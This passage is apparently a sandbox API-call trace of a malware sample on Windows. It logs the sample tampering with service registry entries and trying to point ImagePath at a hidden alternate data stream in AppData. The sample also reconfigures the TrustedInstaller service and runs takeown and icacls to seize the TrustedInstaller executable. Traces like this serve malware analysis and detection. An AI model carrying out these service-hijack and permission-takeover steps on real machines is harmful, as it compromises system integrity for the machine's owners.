lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4f8 [0223.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0223.862] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0223.862] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d258 [0223.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0223.862] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d408 [0223.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0223.862] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3a8 [0223.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0223.862] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0223.862] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4e8 [0223.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0223.862] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d398 [0223.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0223.862] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3c8 [0223.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0223.862] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.862] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0223.863] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.863] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d478 [0223.863] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0223.863] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0223.863] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0223.863] RegSetValueExA (hKey=0x0, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData=0x21f16e8, cbData=0x1) returned 0x6 [0223.863] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0223.863] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0223.863] CommandLineToArgvW (in: lpCmdLine="", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f03d0*="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\SFBHOP~1:bin" [0223.863] RegSetValueExA (hKey=0x0, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData=0x21f1e38, cbData=0x2f) returned 0x6 [0223.863] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0223.863] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0223.863] OpenServiceW (hSCManager=0x803918, lpServiceName="TrustedInstaller", dwDesiredAccess=0x2) returned 0x803990 [0223.863] ChangeServiceConfigW (in: hService=0x803990, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0223.864] CloseServiceHandle (hSCObject=0x803990) returned 1 [0223.865] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0223.865] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d308) returned 1 [0223.865] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0223.865] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0223.865] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d368) returned 1 [0223.865] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0223.865] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0223.865] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0223.865] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0223.865] RegCloseKey (hKey=0x14c) returned 0x0 [0223.865] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0223.865] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0223.865] GetFileAttributesExW (in: lpFileName="C:\\Windows\\servicing\\TrustedInstaller.exe" (normalized: "c:\\windows\\servicing\\trustedinstaller.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bcf001f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bcf001f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bcf001f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2f600)) returned 1 [0223.865] CreateFileW (lpFileName="C:\\Windows\\servicing\\TrustedInstaller.exe" (normalized: "c:\\windows\\servicing\\trustedinstaller.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0223.865] GetLastError () returned 0x5 [0223.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0223.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0223.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0223.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0223.865] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0223.866] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\takeown.exe", lpCommandLine="C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\servicing\\TrustedInstaller.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x36f4b4*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x36f4a4 | out: lpCommandLine="C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\servicing\\TrustedInstaller.exe", lpProcessInformation=0x36f4a4*(hProcess=0x150, hThread=0x14c, dwProcessId=0x8ac, dwThreadId=0x8b0)) returned 1 [0223.869] NtClose (Handle=0x14c) returned 0x0 [0223.870] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0223.870] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0223.870] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0223.870] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x2710) returned 0x0 [0224.052] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0224.052] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x100) returned 0x21e4e38 [0224.052] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0224.052] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\icacls.exe", lpCommandLine="C:\\Windows\\system32\\icacls.exe C:\\Windows\\servicing\\TrustedInstaller.exe /reset", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x36f4b4*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x36f4a4 | out: lpCommandLine="C:\\Windows\\system32\\icacls.exe C:\\Windows\\servicing\\TrustedInstaller.exe /reset", lpProcessInformation=0x36f4a4*(hProcess=0xc4, hThread=0x14c, dwProcessId=0x8c4, dwThreadId=0x8c8)) returned 1 [0224.055] NtClose (Handle=0x14c) returned 0x0 [0224.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0224.056] NtClose (Handle=0x150) returned 0x0 [0224.056] WaitForSingleObject (hHandle=0xc4, dwMilliseconds=0x2710) returned 0x0 [0224.444] NtClose (Handle=0xc4) returned 0x0 [0224.444] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0224.444] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.444] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0224.444] GetFileAttributesExW (in: lpFileName="C:\\Windows\\servicing\\TrustedInstaller.exe" (normalized: "c:\\windows\\servicing\\trustedinstaller.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bcf001f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bcf001f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bcf001f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2f600)) returned 1 [0224.445] CreateFileW (lpFileName="C:\\Windows\\servicing\\TrustedInstaller.exe" (normalized: "c:\\windows\\servicing\\trustedinstaller.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0224.445] GetLastError () returned 0x5 [0224.445] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0224.445] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0224.446] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0224.446] OpenServiceW (hSCManager=0x803918, lpServiceName="AdobeFlashPlayerUpdateSvc", dwDesiredAccess=0x20) returned 0x8038a0 [0224.446] ControlService (in: hService=0x8038a0, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0224.446] GetLastError () returned 0x425 [0224.446] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0224.447] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0224.447] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0224.447] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0224.447] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0224.447] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0224.447] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0224.447] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.447] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0224.447] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.447] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1850, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0224.447] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.447] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.447] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.447] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.447] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0224.447] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.447] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.447] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.447] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0224.447] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.447] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.447] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.447] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.447] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0224.447] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.448] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0224.448] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.448] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1850, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0224.448] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.448] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.448] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.448] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.448] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0224.448] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.448] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.448] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.448] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0224.448] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.448] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.448] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.448] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.448] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0224.448] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.448] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.448] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.448] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0224.448] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.448] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.448] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.448] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.448] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0224.448] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.448] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.448] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.448] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0224.448] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.448] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.448] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.448] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.449] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0224.449] RegCloseKey (hKey=0x80000002) returned 0x0 [0224.449] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0224.449] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.449] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0224.449] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.449] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1850, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0224.449] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.449] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.449] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.449] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.449] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0224.449] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.449] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0224.449] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.449] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1ad8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0224.449] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.449] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.449] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.449] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0224.449] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0224.449] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0224.449] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0224.449] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0224.450] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1850, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0224.450] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0224.450] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.450] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0224.450] 